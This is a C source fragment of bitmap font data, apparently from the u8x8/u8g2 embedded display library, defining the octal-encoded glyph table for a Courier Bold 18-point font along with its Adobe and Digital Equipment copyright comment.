"\0\0\0\0\0\0\34\42A\0\0\0\0\0A\42\34\0\0\0\0*\34\177\34*\0\0\0\10\10>" "\10\10\0\0\0\0@\60\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0@ \20" "\10\4\2\0\0>QIE>\0\0\0@B\177@@\0\0\0bQIIF\0\0\0\42AI" "I\66\0\0\0\34\22Q\177P\0\0\0'EEE\71\0\0\0AA" "A\42\0\0\0\177AAA>\0\0\0\177IIAA\0\0\0\177\11\11\11\1\0\0\0>AA" "I:\0\0\0\177\10\10\10\177\0\0\0\0A\177A\0\0\0\0 @@@\77\0\0\0\177\10\24" "\42A\0\0\0\177@@@@\0\0\0\177\2\4\2\177\0\0\0\177\4\10\20\177\0\0\0>AA" "A>\0\0\0\177\11\11\11\6\0\0\0>AaA\276\0\0\0\177\11\31)F\0\0\0&II" "I\62\0\0\0\1\1\177\1\1\0\0\0\77@@@\77\0\0\0\37 @ \37\0\0\0\177 \20" " \177\0\0\0c\24\10\24c\0\0\0\7\10p\10\7\0\0\0aQIEC\0\0\0\0\177A" "A\0\0\0\0\2\4\10\20 @\0\0\0\0AA\177\0\0\0\0\4\2\1\2\4\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -Adobe-Courier-Bold-R-Normal--25-180-100-100-M-150-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 191/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courB18_2x3_f[10756] U8X8_FONT_SECTION("u8x8_font_courB18_2x3_f") = " \377\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\374\374\370\0\0\0" "\0\0\0\0\0\0\0\0\0\1\277\277\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\0<\374<\0<\374<\0\0\0\0\0\0\0\0\0\0\1\0\0\0\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\376\376\200\200\376\376\200" "\200\0\0\0\0\60\61\361\377\77\61\361\377\77\61\61\1\0\0\0\0\0\0\17\17\0\0\17\17\0\0\0" "\0\0\0\0\0\0\340\360\30\30\36\36\60xx\0\0\0\0\0\0\0\341\343\303\206\206\206\206\314\374x" "\0\0\0\0\0\0\1\1\0\1\37\37\1\1\0\0\0\0\0\0\0\0`\360\230\10\10\230\360`\0\0" "\0\0\0\0\0\0\20\20\31\311\355\65\24\26\62\342\300\0\0\0\0\0\0\0\0\0\1\3\2\2\3\1" "\0\0\0\0\0\0\0\300\340\60\60\60p`\0\0\0\0\0\0\0\0\340\371\37\16\34\270\360\360\270\30" "\0\0\0\0\0\0\1\3\3\3\3\3\1\1\3\3\3\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\370\34\14\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\7\37\70\60\0\0\0\0\0\0\0\0\14\34\370\340\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\60\70\37\7\0\0\0\0\0" "\0\0\0\0\0\0``\300\300\374\374\300\300``\0\0\0\0\0\0\0\30\36\16\3\3\16\36\30\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\0\0\0\0" "\0\0\0\0\0\14\14\14\14\14\377\377\14\14\14\14\14\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340x\36" "\6\0\0\0\0\0\0\0\200\340x\36\7\1\0\0\0\0\0\0\0\0\30\36\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\340\370\30\14\14\14\14\30\370\340\0\0\0\0\0\0\177\377\200\0\0\0\0\200\377\177" "\0\0\0\0\0\0\0\1\1\3\3\3\3\1\1\0\0\0\0\0\0\0\30\30\30\34\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0px\34\14\14\14\14\34\370\360\0\0\0\0\0\0\200\300\340p\70\34\16\7\3\1" "\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\60\70\34\14\14\14\14\234\370\360" "\0\0\0\0\0\300\300\200\0\6\6\6\7\217\375\370\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1\0" "\0\0\0\0\0\0\0\0\300\360\70\34\374\374\0\0\0\0\0\0\0\60<\77\63\60\60\60\377\377\60\60" "\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\374\374\14\214\214\214\214\14\14" "\0\0\0\0\0\0\300\303\203\3\1\1\1\203\307\377|\0\0\0\0\0\0\1\3\3\3\3\3\3\1\1" "\0\0\0\0\0\0\200\340\360\70\30\34\14\14\14\14\0\0\0\0\0\0\177\377\306\203\3\3\3\207\376\374" "\0\0\0\0\0\0\0\1\1\3\3\3\3\3\1\0\0\0\0\0\0\0\34\34\14\14\14\14\14\314\374<" "\0\0\0\0\0\0\0\0\0\0\200\360~\17\1\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\360\370\30\14\14\14\14\30\370\360\0\0\0\0\0\0\370\375\217\6\6\6\6\217\375\370" "\0\0\0\0\0\0\0\1\3\3\3\3\3\3\1\0\0\0\0\0\0\0\0\340\370\30\14\14\14\14\30\370" "\340\0\0\0\0\0\0\7\17\34\30\30\30\214\306\377\77\0\0\0\0\0\0\3\3\3\3\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300`` \0\0\0\14\14\36\36\63\63aa\300\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\63\63\63\63\63\63\63\63\63\63\63\63\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 ``\300\300\200\200\0\0\0\0\0\0\0\0\0\0\200\200\300\300aa\63\63\36\36" "\14\14\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\30\30\30\30\70\360\340" "\0\0\0\0\0\0\0\0\0\0\270\274\14\6\7\3\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\340\370\30\14\14\214\230\370\340\0\0\0\0\0\0\0\377\377\0\36\77sa\177\177`" "\0\0\0\0\0\0\1\7\6\14\14\14\14\6\6\0\0\0\0\0\0\0\30\30\230\370xx\340\200\0\0" "\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3" "\3\3\0\0\0\30\30\370\370\30\30\30\30\30\70\360\340\0\0\0\0\0\0\377\377\6\6\6\6\6\7\217" "\375\370\0\0\0\3\3\3\3\3\3\3\3\3\3\3\1\0\0\0\0\200\340\360\60\30\30\30\30\30\60\370" "\370\0\0\0\0\77\377\340\200\0\0\0\0\0\0\200\200\0\0\0\0\0\0\1\1\3\3\3\3\3\3\1" "\1\0\0\0\30\30\370\370\30\30\30\30\30\30\60\360\340\200\0\0\0\0\377\377\0\0\0\0\0\0\200\300" "\377\77\0\0\3\3\3\3\3\3\3\3\3\3\3\1\0\0\0\0\0\30\30\370\370\30\30\30\230\230\30\370" "\370\0\0\0\0\0\0\377\377\6\6\6\37\37\0\0\340\340\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\30\30\370\370\30\30\30\230\230\30\30\370\370\0\0\0\0\0\377\377\6\6\6\37\37\0\0" "\0\0\0\0\0\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\200\340\360\60\30\30\30\30\30\30\60" "\370\370\0\0\0\77\377\340\200\0\0\0\30\30\30\230\370\370\0\0\0\0\0\1\1\3\3\3\3\3\3\1" "\1\0\0\0\30\30\370\370\30\30\0\0\30\30\370\370\30\30\0\0\0\0\377\377\6\6\6\6\6\6\377\377" "\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\30\30\30\30\370\370\30\30\30\30" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\0\0\30\30\30\30\30\370\370\30\30\30\0\0\0\360\360\200\0\0\0\0\200\377\377\0" "\0\0\0\0\0\0\1\3\3\3\3\3\3\1\0\0\0\0\0\0\30\30\370\370\30\30\200\300\370x\70\30" "\30\0\0\0\0\0\377\377\16\7\17\35\70\360\340\200\0\0\0\0\3\3\3\3\3\3\0\0\0\0\3\3" "\3\3\0\0\0\30\30\30\370\370\30\30\30\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\340" "\340\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\30\370\370x\340\200\0\0\200\340x\370" "\370\30\0\0\0\377\377\0\3\7\34\34\7\3\0\377\377\0\0\0\3\3\3\3\3\0\0\0\0\3\3\3" "\3\3\0\0\0\30\370\370x\340\200\0\0\30\30\370\370\30\0\0\0\0\377\377\0\1\7\36x\340\200\377" "\377\0\0\0\0\3\3\3\3\3\0\0\0\1\3\3\3\0\0\0\0\200\340\360\60\30\30\30\30\30\60\360" "\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1" "\0\0\0\0\0\30\30\370\370\30\30\30\30\30\30\60\360\340\0\0\0\0\0\377\377\30\30\30\30\30\30\14" "\17\7\0\0\0\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\200\340\360\60\30\30\30\30\30\60\360" "\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340\377\77\0\0\0\0\0\31\31\37\17\17\33\33\31\31" "\14\14\0\0\30\30\370\370\30\30\30\30\30\60\360\340\0\0\0\0\0\0\377\377\14\14\14\34<\366\347\203" "\0\0\0\0\3\3\3\3\3\3\0\0\0\0\3\3\3\3\0\0\0\0\340\360\70\30\30\30\30\30\60\370" "\370\0\0\0\0\340\341\203\7\6\6\16\14\14\234\370\360\0\0\0\0\3\3\1\3\3\3\3\3\3\3\1" "\0\0\0\0\0\370\370\30\30\30\370\370\30\30\30\370\370\0\0\0\0\1\1\0\0\0\377\377\0\0\0\1" "\1\0\0\0\0\0\0\3\3\3\3\3\3\3\3\0\0\0\0\0\0\30\370\370\30\30\0\0\0\30\30\370" "\370\30\0\0\0\0\177\377\200\0\0\0\0\0\200\377\177\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1" "\0\0\0\0\30x\370\230\30\0\0\0\0\30\230\370x\30\0\0\0\0\3\37|\340\200\200\340|\37\3" "\0\0\0\0\0\0\0\0\0\3\3\3\3\0\0\0\0\0\0\0\30\370\370\30\30\0\300\300\0\30\30\370" "\370\30\0\0\0\37\377\340\374\77\7\7\77\374\340\377\37\0\0\0\0\0\3\3\3\0\0\0\0\3\3\3" "\0\0\0\0\30\70x\370\330\230\0\0\230\330\370x\70\30\0\0\0\200\300\340q;\17\17;q\340\300" "\200\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\30\70x\370\330\30\0\0\30\330\370x" "\70\30\0\0\0\0\0\0\3\7\376\376\7\3\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\0" "\0\0\0\0\0\0\370\370\30\30\30\30\230\330\370x\70\0\0\0\0\0\200\300\340x<\16\7\3\0\340" "\340\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\374\374\14\14\14\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\60\60\60\0" "\0\0\0\0\0\0\6\36x\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\36x\340\200\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\36\30\0\0\0\0\0\0\14\14\14\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\60\60\60\77\77\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360<<\360\300\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\60\60\60" "\60\60\60\0\0\0\0\0\10\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\0\0" "\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3" "\3\0\0\0\0\14\14\374\374\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\307\203\1\1\1\203\307" "\377|\0\0\0\3\3\3\3\1\3\3\3\3\3\1\1\0\0\0\0\0\0\0\200\200\200\200\200\200\0\200" "\200\0\0\0\0|\377\307\203\1\1\1\1\3\207\217\217\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1" "\1\0\0\0\0\0\0\0\200\200\200\200\214\14\374\374\0\0\0\0\0|\377\307\203\1\1\1\203\307\377\377" "\0\0\0\0\0\0\1\1\3\3\3\3\3\1\3\3\3\3\0\0\0\0\0\0\200\200\200\200\200\200\0\0" "\0\0\0\0\0|\377\367\263\61\61\61\61\63\267\277\274\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1" "\1\0\0\0\0\0\200\200\200\360\370\234\214\214\214\214\14\0\0\0\0\0\1\1\1\377\377\1\1\1\1\1" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\200\200\0\0\0|\377\307\203\1\1\1\203\307\377\377\1\1\0\0\0\0\1acccccq\77\37" "\0\0\0\0\14\14\374\374\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\7\3\1\1\1\3\377\376" "\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\0\200\200\234\234\234\0\0\0\0" "\0\0\0\0\0\0\0\1\1\1\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\200\200\200\200\234\234\234\200\0\0\0\0\0\0\0\0\1\1\1\1\1\1\377\377\0\0" "\0\0\0\0\0\0`````p\77\37\0\0\0\0\0\0\0\14\14\374\374\0\0\0\200\200\200\200" "\0\0\0\0\0\0\0\377\377\30<~\347\303\201\1\0\0\0\0\0\3\3\3\3\0\0\0\3\3\3\3" "\3\3\0\0\0\0\0\14\14\14\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\200\200\200\0\200\200\200\200\0\200\200\200" "\200\0\0\0\1\1\377\377\3\1\1\377\377\3\1\1\377\377\0\0\3\3\3\3\3\0\0\3\3\3\3\0" "\3\3\3\3\200\200\200\200\0\0\200\200\200\200\0\0\0\0\0\0\1\1\377\377\6\3\1\1\1\3\377\376" "\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\0\0\200\200\200\200\200\200\0\0" "\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1" "\0\0\0\0\200\200\200\200\0\200\200\200\200\200\0\0\0\0\0\0\1\1\377\377\307\203\1\1\1\203\307\377" "|\0\0\0``\177\177acc\3\3\3\1\1\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\200\200\0\0\0|\377\307\203\1\1\1\203\307\377\377\1\1\0\0\0\0\1\1\3\3\3cca\177\177" "``\0\0\0\0\200\200\200\200\0\0\200\200\200\200\0\0\0\0\0\0\1\1\377\377\7\3\1\1\1\3" "\3\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\0\0\0\0\0\0\306\317\217\31\31\71\61\63\347\347\300\0\0\0\0\0\3\3\1\3\3\3\3\3\3\1" "\0\0\0\0\0\200\200\370\370\200\200\200\200\200\200\0\0\0\0\0\0\1\1\377\377\201\1\1\1\201\201\200" "\0\0\0\0\0\0\0\0\1\3\3\3\3\3\1\1\0\0\0\0\200\200\200\200\0\0\0\0\200\200\200\200" "\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377\0\0\0\0\0\0\0\1\3\3\3\3\3\1\3\3" "\3\3\0\0\200\200\200\200\200\200\0\0\200\200\200\200\200\200\0\0\1\1\7\37y\341\200\200\341y\37\7" "\1\1\0\0\0\0\0\0\0\1\3\3\1\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\200\200\200" "\200\200\0\0\1\7\177\371\301\360>>\360\301\371\177\7\1\0\0\0\0\0\3\3\0\0\0\0\3\3\0" "\0\0\0\0\0\200\200\200\200\200\0\0\200\200\200\200\200\0\0\0\0\1\1\203\307m\70\70m\307\203\1" "\1\0\0\0\0\3\3\3\3\3\0\0\3\3\3\3\3\0\0\0\0\200\200\200\200\200\0\0\200\200\200\200" "\200\0\0\0\0\1\7\37}\361\200\300\361}\37\7\1\0\0\0\0```p}\177g\1\0\0\0" "\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\207\307\341q\71\35\17\7\303\301" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\360\370\14\4\4\0" "\0\0\0\0\0\0\0\0\10\34\377\367\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\37\60 \0" "\0\0\0\0\0\0\0\0\0\0\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\17\17\0\0\0\0\0\0\0\0\0\0\0\4\4\14\370\360\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\367\377\34\10\0\0\0\0\0\0\0\0\0 \60\37\17\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\16\6\6\16\34\30\30\34\16" "\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\373\373\0\0\0\0\0\0\0\0\0\0\0\0\0\77\177\177\77\0\0\0\0" "\0\0\0\0\0\0\200\300\340`||\300\340\340\0\0\0\0\0\0\0\37\77p`\340\340`q\61\0" "\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0\0\0\0\0\0\0\0\340\360\70\30\30\30\70\60\0" "\0\0\0\0\0\14\214\317\377|\14\14\14\0\0\200\200\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\1\0\0\0\0\0`\340\300\300\300\300\300\300\340`\0\0\0\0\0\0\337\377q````q\377\337" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\70\370\370\230\0\0\230\370\370\70" "\30\0\0\0\0\0\0()/\376\376/)(\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\363\363\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\17\17\0\0\0\0\0\0\0\0\0\0\200\360\370\334\214\214\14\14<<" "\0\0\0\0\0\7\17\14\34\31\71\63s\347\346~<\0\0\0\0\0\17\17\14\14\14\14\16\7\3\0" "\0\0\0\0\0\0\0\70\70\0\0\0\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\60\260\330\330\330\330\260\60\340" "\300\0\0\0\17\77p\317\337\271\260\260\271\331\300p\77\17\0\0\0\0\0\0\0\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\200\320XHH\370\360\0\0\0\0\0\0\0\0\0\63\67\64\64\66\63\67\66\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\20\70|\356\307\203\21\70|\356\307\203\1\0\0\0\0\0\0\0\1\1\1\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\77" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\60\360\330\330\330\330\260\60\340\300\0\0\0\17\77p\300\377\277\204\214\277\363\300p" "\77\17\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0\0\0\0\0\0\0\30\30\30\30\30\30\30\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0p\370\214\4\4\214\370p\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0" 